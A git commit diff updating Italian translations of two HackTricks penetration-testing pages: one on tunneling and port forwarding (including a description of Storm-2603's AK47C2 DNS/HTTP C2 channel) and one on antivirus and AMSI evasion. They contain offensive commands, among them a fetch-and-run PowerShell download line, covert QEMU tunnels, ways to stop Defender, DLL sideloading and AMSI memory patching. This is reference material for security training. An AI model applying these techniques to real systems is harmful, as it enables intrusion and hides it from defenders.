mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
Translator
parent
9cd33128c3
commit
770b5c91ae
@ -94,7 +94,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
## SSHUTTLE
|
||||
|
||||
Puoi **tunneling** tramite **ssh** tutto il **traffico** verso una **sottorete** attraverso un host.\
|
||||
Ad esempio, inoltrando tutto il traffico verso 10.10.10.0/24
|
||||
Ad esempio, inoltrando tutto il traffico che va a 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
@ -149,7 +149,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||
### rPort2Port
|
||||
|
||||
> [!WARNING]
|
||||
> In questo caso, la **porta è aperta nell'host beacon**, non nel Team Server e il traffico viene inviato al Team Server e da lì all'host:porta indicato.
|
||||
> In questo caso, la **porta è aperta nell'host beacon**, non nel Team Server e il traffico viene inviato al Team Server e da lì all'host:porta indicato:
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
@ -231,7 +231,7 @@ listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
|
||||
# Display the currently running listeners on the agent -- Attacker
|
||||
listener_list
|
||||
```
|
||||
### Accesso alle porte locali dell'agente
|
||||
### Accedi alle porte locali dell'agente
|
||||
```bash
|
||||
# Establish a tunnel from the proxy server to the agent
|
||||
# Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker
|
||||
@ -347,10 +347,10 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
È necessario avere **accesso RDP sul sistema**.\
|
||||
È necessario avere **accesso RDP al sistema**.\
|
||||
Scarica:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Questo strumento utilizza `Dynamic Virtual Channels` (`DVC`) dalla funzionalità Remote Desktop Service di Windows. DVC è responsabile per **il tunneling dei pacchetti sulla connessione RDP**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Questo strumento utilizza `Dynamic Virtual Channels` (`DVC`) dalla funzione Remote Desktop Service di Windows. DVC è responsabile per **il tunneling dei pacchetti sulla connessione RDP**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Nel tuo computer client carica **`SocksOverRDP-Plugin.dll`** in questo modo:
|
||||
@ -360,7 +360,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Ora possiamo **connetterci** alla **vittima** tramite **RDP** utilizzando **`mstsc.exe`**, e dovremmo ricevere un **messaggio** che dice che il **plugin SocksOverRDP è abilitato**, e ascolterà su **127.0.0.1:1080**.
|
||||
|
||||
**Connetti** tramite **RDP** e carica ed esegui nel computer della vittima il binario `SocksOverRDP-Server.exe`:
|
||||
**Connetti** tramite **RDP** e carica ed esegui nella macchina della vittima il binario `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
@ -368,13 +368,13 @@ Ora, conferma nella tua macchina (attaccante) che la porta 1080 è in ascolto:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Ora puoi usare [**Proxifier**](https://www.proxifier.com/) **per proxy il traffico attraverso quella porta.**
|
||||
Ora puoi usare [**Proxifier**](https://www.proxifier.com/) **per proxyare il traffico attraverso quella porta.**
|
||||
|
||||
## Proxifica le app GUI di Windows
|
||||
|
||||
Puoi far navigare le app GUI di Windows attraverso un proxy usando [**Proxifier**](https://www.proxifier.com/).\
|
||||
In **Profile -> Proxy Servers** aggiungi l'IP e la porta del server SOCKS.\
|
||||
In **Profile -> Proxification Rules** aggiungi il nome del programma da proxificare e le connessioni agli IP che vuoi proxificare.
|
||||
In **Profile -> Proxification Rules** aggiungi il nome del programma da proxyare e le connessioni agli IP che vuoi proxyare.
|
||||
|
||||
## Bypass del proxy NTLM
|
||||
|
||||
@ -444,7 +444,7 @@ Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret som
|
||||
session -i <sessions_id>
|
||||
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
||||
```
|
||||
#### Cambiare il DNS di proxychains
|
||||
#### Cambiare DNS di proxychains
|
||||
|
||||
Proxychains intercetta la chiamata `gethostbyname` della libc e instrada la richiesta DNS tcp attraverso il proxy socks. Per **default** il server **DNS** che proxychains utilizza è **4.2.2.2** (hardcoded). Per cambiarlo, modifica il file: _/usr/lib/proxychains3/proxyresolv_ e cambia l'IP. Se sei in un **ambiente Windows** puoi impostare l'IP del **domain controller**.
|
||||
|
||||
@ -452,14 +452,48 @@ Proxychains intercetta la chiamata `gethostbyname` della libc e instrada la rich
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
## Tunneling ICMP
|
||||
### DNS TXT / HTTP JSON C2 personalizzato (AK47C2)
|
||||
|
||||
L'attore Storm-2603 ha creato un **C2 a doppio canale ("AK47C2")** che sfrutta *solo* il traffico **DNS** in uscita e **HTTP POST** semplice – due protocolli che raramente vengono bloccati nelle reti aziendali.
|
||||
|
||||
1. **Modalità DNS (AK47DNS)**
|
||||
• Genera un SessionID casuale di 5 caratteri (es. `H4T14`).
|
||||
• Precede `1` per *richieste di task* o `2` per *risultati* e concatena diversi campi (flags, SessionID, nome del computer).
|
||||
• Ogni campo è **XOR-criptato con la chiave ASCII `VHBD@H`**, codificato in esadecimale e incollato insieme con punti – terminando infine con il dominio controllato dall'attaccante:
|
||||
|
||||
```text
|
||||
<1|2><SessionID>.a<SessionID>.<Computer>.update.updatemicfosoft.com
|
||||
```
|
||||
|
||||
• Le richieste utilizzano `DnsQuery()` per i record **TXT** (e fallback **MG**).
|
||||
• Quando la risposta supera 0xFF byte, il backdoor **frammenta** i dati in pezzi da 63 byte e inserisce i marcatori:
|
||||
`s<SessionID>t<TOTAL>p<POS>` in modo che il server C2 possa riordinarli.
|
||||
|
||||
2. **Modalità HTTP (AK47HTTP)**
|
||||
• Costruisce una busta JSON:
|
||||
```json
|
||||
{"cmd":"","cmd_id":"","fqdn":"<host>","result":"","type":"task"}
|
||||
```
|
||||
• L'intero blob è XOR-`VHBD@H` → esadecimale → inviato come corpo di un **`POST /`** con intestazione `Content-Type: text/plain`.
|
||||
• La risposta segue la stessa codifica e il campo `cmd` viene eseguito con `cmd.exe /c <command> 2>&1`.
|
||||
|
||||
Note del Blue Team
|
||||
• Cerca richieste **TXT** insolite il cui primo label è un lungo esadecimale e termina sempre in un dominio raro.
|
||||
• Una chiave XOR costante seguita da ASCII-esadecimale è facile da rilevare con YARA: `6?56484244?484` (`VHBD@H` in esadecimale).
|
||||
• Per HTTP, segnala i corpi POST di tipo text/plain che sono puri esadecimali e multipli di due byte.
|
||||
|
||||
{{#note}}
|
||||
L'intero canale si adatta all'interno di **richieste standard conformi agli RFC** e mantiene ogni label di sottodominio sotto 63 byte, rendendolo furtivo nella maggior parte dei log DNS.
|
||||
{{#endnote}}
|
||||
|
||||
## Tunnel ICMP
|
||||
|
||||
### Hans
|
||||
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
È necessario avere i privilegi di root in entrambi i sistemi per creare adattatori tun e instradare i dati tra di essi utilizzando richieste di echo ICMP.
|
||||
È necessario avere i privilegi di root in entrambi i sistemi per creare adattatori tun e tunnelare i dati tra di essi utilizzando richieste di echo ICMP.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
@ -570,11 +604,11 @@ Tunnel: <TUNNEL-UUID>
|
||||
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
|
||||
url: http://127.0.0.1:8000
|
||||
```
|
||||
Inizia il connettore:
|
||||
Avvia il connettore:
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Perché tutto il traffico esce dall'host **in uscita su 443**, i tunnel Cloudflared sono un modo semplice per bypassare le ACL di ingresso o i confini NAT. Tieni presente che il binario di solito viene eseguito con privilegi elevati – utilizza contenitori o il flag `--user` quando possibile.
|
||||
Perché tutto il traffico esce dall'host **in uscita su 443**, i tunnel Cloudflared sono un modo semplice per bypassare le ACL in ingresso o i confini NAT. Tieni presente che il binario di solito viene eseguito con privilegi elevati – utilizza contenitori o il flag `--user` quando possibile.
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
@ -612,9 +646,9 @@ Il comando sopra pubblica la porta della vittima **8080** come **attacker_ip:900
|
||||
|
||||
## Tunnel Covert basati su VM con QEMU
|
||||
|
||||
Il networking in modalità utente di QEMU (`-netdev user`) supporta un'opzione chiamata `hostfwd` che **collega una porta TCP/UDP sull'*host* e la inoltra nel *guest***. Quando il guest esegue un daemon SSH completo, la regola hostfwd ti fornisce una jump box SSH usa e getta che vive interamente all'interno di una VM effimera – perfetta per nascondere il traffico C2 da EDR poiché tutta l'attività e i file malevoli rimangono nel disco virtuale.
|
||||
Il networking in modalità utente di QEMU (`-netdev user`) supporta un'opzione chiamata `hostfwd` che **collega una porta TCP/UDP sull'*host* e la inoltra nel *guest***. Quando il guest esegue un daemon SSH completo, la regola hostfwd ti offre una jump box SSH usa e getta che vive interamente all'interno di una VM effimera – perfetta per nascondere il traffico C2 da EDR poiché tutta l'attività e i file dannosi rimangono nel disco virtuale.
|
||||
|
||||
### Quick one-liner
|
||||
### Comando rapido
|
||||
```powershell
|
||||
# Windows victim (no admin rights, no driver install – portable binaries only)
|
||||
qemu-system-x86_64.exe ^
|
||||
@ -640,7 +674,7 @@ Eseguire lo script con `cscript.exe //B update.vbs` mantiene la finestra nascost
|
||||
|
||||
Poiché Tiny Core è senza stato, gli attaccanti di solito:
|
||||
|
||||
1. Posano il payload in `/opt/123.out`
|
||||
1. Posizionano il payload in `/opt/123.out`
|
||||
2. Aggiungono a `/opt/bootlocal.sh`:
|
||||
|
||||
```sh
|
||||
@ -672,5 +706,6 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
## Riferimenti
|
||||
|
||||
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,9 +4,15 @@
|
||||
|
||||
**Questa pagina è stata scritta da** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||
|
||||
## Stop Defender
|
||||
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): Uno strumento per fermare il funzionamento di Windows Defender.
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): Uno strumento per fermare il funzionamento di Windows Defender simulando un altro AV.
|
||||
- [Disabilita Defender se sei admin](basic-powershell-for-pentesters/README.md)
|
||||
|
||||
## **Metodologia di Evasione AV**
|
||||
|
||||
Attualmente, gli AV utilizzano diversi metodi per verificare se un file è dannoso o meno, rilevamento statico, analisi dinamica e, per gli EDR più avanzati, analisi comportamentale.
|
||||
Attualmente, gli AV utilizzano diversi metodi per controllare se un file è dannoso o meno, rilevamento statico, analisi dinamica e, per gli EDR più avanzati, analisi comportamentale.
|
||||
|
||||
### **Rilevamento statico**
|
||||
|
||||
@ -18,45 +24,45 @@ Se crittografi il binario, non ci sarà modo per l'AV di rilevare il tuo program
|
||||
|
||||
- **Offuscamento**
|
||||
|
||||
A volte tutto ciò che devi fare è cambiare alcune stringhe nel tuo binario o script per superare l'AV, ma questo può essere un compito che richiede tempo a seconda di ciò che stai cercando di offuscare.
|
||||
A volte tutto ciò che devi fare è cambiare alcune stringhe nel tuo binario o script per superare l'AV, ma questo può essere un compito che richiede tempo a seconda di cosa stai cercando di offuscare.
|
||||
|
||||
- **Strumenti personalizzati**
|
||||
|
||||
Se sviluppi i tuoi strumenti, non ci saranno firme dannose note, ma questo richiede molto tempo e impegno.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Un buon modo per controllare il rilevamento statico di Windows Defender è [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Fondamentalmente divide il file in più segmenti e poi chiede a Defender di scansionare ciascuno individualmente, in questo modo, può dirti esattamente quali sono le stringhe o i byte contrassegnati nel tuo binario.
|
||||
|
||||
Ti consiglio vivamente di dare un'occhiata a questa [playlist di YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sull'evasione pratica degli AV.
|
||||
Ti consiglio vivamente di dare un'occhiata a questa [playlist di YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) su evasione AV pratica.
|
||||
|
||||
### **Analisi dinamica**
|
||||
|
||||
L'analisi dinamica è quando l'AV esegue il tuo binario in un sandbox e osserva attività dannose (ad es. cercare di decrittografare e leggere le password del browser, eseguire un minidump su LSASS, ecc.). Questa parte può essere un po' più complicata da gestire, ma ecco alcune cose che puoi fare per evadere le sandbox.
|
||||
|
||||
- **Sonno prima dell'esecuzione** A seconda di come è implementato, può essere un ottimo modo per bypassare l'analisi dinamica dell'AV. Gli AV hanno un tempo molto breve per scansionare i file per non interrompere il flusso di lavoro dell'utente, quindi utilizzare sonni lunghi può disturbare l'analisi dei binari. Il problema è che molte sandbox degli AV possono semplicemente saltare il sonno a seconda di come è implementato.
|
||||
- **Controllo delle risorse della macchina** Di solito le sandbox hanno pochissime risorse con cui lavorare (ad es. < 2GB di RAM), altrimenti potrebbero rallentare la macchina dell'utente. Puoi anche essere molto creativo qui, ad esempio controllando la temperatura della CPU o persino la velocità delle ventole, non tutto sarà implementato nella sandbox.
|
||||
- **Controlli specifici della macchina** Se vuoi mirare a un utente il cui workstation è unito al dominio "contoso.local", puoi fare un controllo sul dominio del computer per vedere se corrisponde a quello che hai specificato, se non corrisponde, puoi far uscire il tuo programma.
|
||||
- **Controllo delle risorse della macchina** Di solito le sandbox hanno pochissime risorse con cui lavorare (ad es. < 2GB di RAM), altrimenti potrebbero rallentare la macchina dell'utente. Puoi anche essere molto creativo qui, ad esempio controllando la temperatura della CPU o anche la velocità delle ventole, non tutto sarà implementato nella sandbox.
|
||||
- **Controlli specifici della macchina** Se vuoi mirare a un utente la cui workstation è unita al dominio "contoso.local", puoi fare un controllo sul dominio del computer per vedere se corrisponde a quello che hai specificato, se non corrisponde, puoi far uscire il tuo programma.
|
||||
|
||||
Si scopre che il nome della macchina della Sandbox di Microsoft Defender è HAL9TH, quindi puoi controllare il nome del computer nel tuo malware prima della detonazione, se il nome corrisponde a HAL9TH, significa che sei all'interno della sandbox di Defender, quindi puoi far uscire il tuo programma.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Altri ottimi consigli da [@mgeeky](https://twitter.com/mariuszbit) per contrastare le Sandbox
|
||||
Alcuni altri ottimi consigli da [@mgeeky](https://twitter.com/mariuszbit) per andare contro le Sandbox
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canale #malware-dev</p></figcaption></figure>
|
||||
|
||||
Come abbiamo detto prima in questo post, **gli strumenti pubblici** alla fine **verranno rilevati**, quindi dovresti chiederti qualcosa:
|
||||
Come abbiamo detto prima in questo post, **gli strumenti pubblici** verranno **rilevati** prima o poi, quindi dovresti chiederti qualcosa:
|
||||
|
||||
Ad esempio, se vuoi eseguire il dump di LSASS, **hai davvero bisogno di usare mimikatz**? O potresti usare un progetto diverso che è meno conosciuto e fa anche il dump di LSASS.
|
||||
Ad esempio, se vuoi dumpare LSASS, **hai davvero bisogno di usare mimikatz**? O potresti usare un progetto diverso che è meno conosciuto e dumpa anche LSASS.
|
||||
|
||||
La risposta giusta è probabilmente quest'ultima. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il più contrassegnato pezzo di malware dagli AV e dagli EDR, mentre il progetto stesso è super interessante, è anche un incubo lavorarci per aggirare gli AV, quindi cerca semplicemente alternative per ciò che stai cercando di ottenere.
|
||||
La risposta giusta è probabilmente quest'ultima. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il più contrassegnato malware dagli AV e EDR, mentre il progetto stesso è super interessante, è anche un incubo lavorarci per aggirare gli AV, quindi cerca semplicemente alternative per ciò che stai cercando di ottenere.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Quando modifichi i tuoi payload per l'evasione, assicurati di **disattivare l'invio automatico dei campioni** in Defender, e per favore, seriamente, **NON CARICARE SU VIRUSTOTAL** se il tuo obiettivo è raggiungere l'evasione a lungo termine. Se vuoi controllare se il tuo payload viene rilevato da un particolare AV, installalo su una VM, prova a disattivare l'invio automatico dei campioni e testalo lì fino a quando non sei soddisfatto del risultato.
|
||||
|
||||
## EXE vs DLL
|
||||
## EXEs vs DLLs
|
||||
|
||||
Ogni volta che è possibile, **dai sempre priorità all'uso delle DLL per l'evasione**, nella mia esperienza, i file DLL sono solitamente **molto meno rilevati** e analizzati, quindi è un trucco molto semplice da usare per evitare il rilevamento in alcuni casi (se il tuo payload ha un modo di essere eseguito come DLL, ovviamente).
|
||||
Ogni volta che è possibile, **dai sempre priorità all'uso di DLL per l'evasione**, nella mia esperienza, i file DLL sono di solito **molto meno rilevati** e analizzati, quindi è un trucco molto semplice da usare per evitare il rilevamento in alcuni casi (se il tuo payload ha un modo di essere eseguito come DLL, ovviamente).
|
||||
|
||||
Come possiamo vedere in questa immagine, un Payload DLL di Havoc ha un tasso di rilevamento di 4/26 in antiscan.me, mentre il payload EXE ha un tasso di rilevamento di 7/26.
|
||||
|
||||
@ -64,11 +70,11 @@ Come possiamo vedere in questa immagine, un Payload DLL di Havoc ha un tasso di
|
||||
|
||||
Ora mostreremo alcuni trucchi che puoi usare con i file DLL per essere molto più furtivo.
|
||||
|
||||
## Sideloading DLL & Proxying
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading** sfrutta l'ordine di ricerca delle DLL utilizzato dal caricatore posizionando sia l'applicazione vittima che il/i payload dannoso/i uno accanto all'altro.
|
||||
|
||||
Puoi controllare i programmi suscettibili al DLL Sideloading utilizzando [Siofra](https://github.com/Cybereason/siofra) e il seguente script di powershell:
|
||||
Puoi controllare i programmi suscettibili al DLL Sideloading utilizzando [Siofra](https://github.com/Cybereason/siofra) e il seguente script powershell:
|
||||
```bash
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
@ -77,7 +83,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||
```
|
||||
Questo comando restituirà l'elenco dei programmi suscettibili al DLL hijacking all'interno di "C:\Program Files\\" e i file DLL che tentano di caricare.
|
||||
|
||||
Ti consiglio vivamente di **esplorare i programmi DLL Hijackable/Sideloadable da solo**, questa tecnica è piuttosto furtiva se eseguita correttamente, ma se utilizzi programmi DLL Sideloadable noti pubblicamente, potresti essere facilmente catturato.
|
||||
Ti consiglio vivamente di **esplorare i programmi DLL Hijackable/Sideloadable da solo**, questa tecnica è piuttosto furtiva se eseguita correttamente, ma se utilizzi programmi Sideloadable DLL noti pubblicamente, potresti essere facilmente scoperto.
|
||||
|
||||
Semplicemente posizionare una DLL malevola con il nome che un programma si aspetta di caricare, non caricherà il tuo payload, poiché il programma si aspetta alcune funzioni specifiche all'interno di quella DLL; per risolvere questo problema, utilizzeremo un'altra tecnica chiamata **DLL Proxying/Forwarding**.
|
||||
|
||||
@ -104,8 +110,8 @@ Entrambi il nostro shellcode (codificato con [SGN](https://github.com/EgeBalci/s
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Ti **consiglio vivamente** di guardare il [VOD di S3cur3Th1sSh1t su twitch](https://www.twitch.tv/videos/1644171543) riguardo al DLL Sideloading e anche il [video di ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) per saperne di più su quanto abbiamo discusso in modo più approfondito.
|
||||
> [!TIP]
|
||||
> Ti **consiglio vivamente** di guardare [il VOD di S3cur3Th1sSh1t su twitch](https://www.twitch.tv/videos/1644171543) riguardo al DLL Sideloading e anche [il video di ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) per saperne di più su quanto abbiamo discusso in modo più approfondito.
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
@ -120,14 +126,14 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
```
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> L'evasione è solo un gioco del gatto e del topo, ciò che funziona oggi potrebbe essere rilevato domani, quindi non fare mai affidamento su un solo strumento, se possibile, prova a concatenare più tecniche di evasione.
|
||||
> [!TIP]
|
||||
> L'evasione è solo un gioco di gatto e topo, ciò che funziona oggi potrebbe essere rilevato domani, quindi non fare mai affidamento su un solo strumento, se possibile, prova a concatenare più tecniche di evasione.
|
||||
|
||||
## AMSI (Interfaccia di Scansione Anti-Malware)
|
||||
|
||||
AMSI è stato creato per prevenire "[malware senza file](https://en.wikipedia.org/wiki/Fileless_malware)". Inizialmente, gli AV erano in grado di scansionare solo **file su disco**, quindi se riuscivi in qualche modo a eseguire payload **direttamente in memoria**, l'AV non poteva fare nulla per prevenirlo, poiché non aveva abbastanza visibilità.
|
||||
|
||||
La funzionalità AMSI è integrata in questi componenti di Windows.
|
||||
La funzione AMSI è integrata in questi componenti di Windows.
|
||||
|
||||
- Controllo dell'Account Utente, o UAC (elevazione di EXE, COM, MSI o installazione ActiveX)
|
||||
- PowerShell (script, uso interattivo e valutazione dinamica del codice)
|
||||
@ -141,23 +147,23 @@ Eseguire `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Nota come precede `amsi:` e poi il percorso all'eseguibile da cui è stato eseguito lo script, in questo caso, powershell.exe
|
||||
Nota come antepone `amsi:` e poi il percorso all'eseguibile da cui è stato eseguito lo script, in questo caso, powershell.exe
|
||||
|
||||
Non abbiamo scaricato alcun file su disco, ma siamo stati comunque catturati in memoria a causa di AMSI.
|
||||
|
||||
Inoltre, a partire da **.NET 4.8**, il codice C# viene eseguito tramite AMSI. Questo influisce anche su `Assembly.Load(byte[])` per l'esecuzione in memoria. Ecco perché si consiglia di utilizzare versioni inferiori di .NET (come 4.7.2 o inferiori) per l'esecuzione in memoria se si desidera evadere AMSI.
|
||||
Inoltre, a partire da **.NET 4.8**, il codice C# viene eseguito tramite AMSI. Questo influisce anche su `Assembly.Load(byte[])` per l'esecuzione in memoria. Ecco perché si consiglia di utilizzare versioni inferiori di .NET (come 4.7.2 o inferiori) per l'esecuzione in memoria se si desidera eludere AMSI.
|
||||
|
||||
Ci sono un paio di modi per aggirare AMSI:
|
||||
|
||||
- **Offuscamento**
|
||||
|
||||
Poiché AMSI funziona principalmente con rilevamenti statici, quindi, modificare gli script che si tenta di caricare può essere un buon modo per evadere il rilevamento.
|
||||
Poiché AMSI funziona principalmente con rilevamenti statici, quindi, modificare gli script che si tenta di caricare può essere un buon modo per eludere il rilevamento.
|
||||
|
||||
Tuttavia, AMSI ha la capacità di deoffuscare gli script anche se ha più strati, quindi l'offuscamento potrebbe essere una cattiva opzione a seconda di come viene fatto. Questo rende non così semplice evadere. Anche se, a volte, tutto ciò che devi fare è cambiare un paio di nomi di variabili e andrà bene, quindi dipende da quanto qualcosa è stato segnalato.
|
||||
Tuttavia, AMSI ha la capacità di deoffuscare gli script anche se ha più livelli, quindi l'offuscamento potrebbe essere una cattiva opzione a seconda di come viene fatto. Questo rende non così semplice eludere. Anche se, a volte, tutto ciò che devi fare è cambiare un paio di nomi di variabili e andrà bene, quindi dipende da quanto qualcosa è stato segnalato.
|
||||
|
||||
- **Evasione AMSI**
|
||||
|
||||
Poiché AMSI è implementato caricando una DLL nel processo di powershell (anche cscript.exe, wscript.exe, ecc.), è possibile manometterlo facilmente anche eseguendo come utente non privilegiato. A causa di questo difetto nell'implementazione di AMSI, i ricercatori hanno trovato diversi modi per evadere la scansione di AMSI.
|
||||
Poiché AMSI è implementato caricando una DLL nel processo di powershell (anche cscript.exe, wscript.exe, ecc.), è possibile manometterlo facilmente anche eseguendo come utente non privilegiato. A causa di questo difetto nell'implementazione di AMSI, i ricercatori hanno trovato diversi modi per eludere la scansione di AMSI.
|
||||
|
||||
**Forzare un Errore**
|
||||
|
||||
@ -185,9 +191,9 @@ Tieni presente che questo verrà probabilmente segnalato una volta pubblicato qu
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
Questa tecnica è stata inizialmente scoperta da [@RastaMouse](https://twitter.com/_RastaMouse/) e comporta la ricerca dell'indirizzo per la funzione "AmsiScanBuffer" in amsi.dll (responsabile della scansione dell'input fornito dall'utente) e la sovrascrittura con istruzioni per restituire il codice per E_INVALIDARG, in questo modo, il risultato della scansione effettiva restituirà 0, che viene interpretato come un risultato pulito.
|
||||
Questa tecnica è stata inizialmente scoperta da [@RastaMouse](https://twitter.com/_RastaMouse/) e consiste nel trovare l'indirizzo della funzione "AmsiScanBuffer" in amsi.dll (responsabile della scansione dell'input fornito dall'utente) e sovrascriverlo con istruzioni per restituire il codice per E_INVALIDARG, in questo modo, il risultato della scansione effettiva restituirà 0, che viene interpretato come un risultato pulito.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Si prega di leggere [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) per una spiegazione più dettagliata.
|
||||
|
||||
Ci sono anche molte altre tecniche utilizzate per bypassare AMSI con PowerShell, dai un'occhiata a [**questa pagina**](basic-powershell-for-pentesters/index.html#amsi-bypass) e [**questo repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) per saperne di più su di esse.
|
||||
@ -219,19 +225,19 @@ Per bypassare il logging di PowerShell, puoi utilizzare le seguenti tecniche:
|
||||
|
||||
## Obfuscation
|
||||
|
||||
> [!NOTE]
|
||||
> Diverse tecniche di offuscamento si basano sulla crittografia dei dati, il che aumenterà l'entropia del binario rendendo più facile per gli AV e gli EDR rilevarlo. Fai attenzione a questo e forse applica la crittografia solo a sezioni specifiche del tuo codice che sono sensibili o devono essere nascoste.
|
||||
> [!TIP]
|
||||
> Diverse tecniche di offuscamento si basano sulla crittografia dei dati, il che aumenterà l'entropia del binario rendendo più facile per gli AV e gli EDR rilevarlo. Fai attenzione a questo e magari applica la crittografia solo a sezioni specifiche del tuo codice che sono sensibili o devono essere nascoste.
|
||||
|
||||
Ci sono diversi strumenti che possono essere utilizzati per **offuscare il codice C# in chiaro**, generare **modelli di metaprogrammazione** per compilare binari o **offuscare binari compilati** come:
|
||||
|
||||
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): È un ottimo offuscatore open-source per applicazioni .NET. Fornisce varie tecniche di protezione come offuscamento del flusso di controllo, anti-debugging, anti-tampering e crittografia delle stringhe. È raccomandato perché consente anche di offuscare specifici blocchi di codice.
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): L'obiettivo di questo progetto è fornire un fork open-source della suite di compilazione [LLVM](http://www.llvm.org/) in grado di fornire maggiore sicurezza software attraverso [l'offuscamento del codice](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) e la protezione contro manomissioni.
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): L'obiettivo di questo progetto è fornire un fork open-source della suite di compilazione [LLVM](http://www.llvm.org/) in grado di fornire maggiore sicurezza software attraverso [l'offuscamento del codice](<http://en.wikipedia.org/wiki/Obfuscation_(software)> ) e la protezione contro manomissioni.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator dimostra come utilizzare il linguaggio `C++11/14` per generare, al momento della compilazione, codice offuscato senza utilizzare alcuno strumento esterno e senza modificare il compilatore.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Aggiunge uno strato di operazioni offuscate generate dal framework di metaprogrammazione C++ che renderà un po' più difficile la vita a chi vuole craccare l'applicazione.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz è un offuscatore binario x64 in grado di offuscare vari file pe diversi tra cui: .exe, .dll, .sys
|
||||
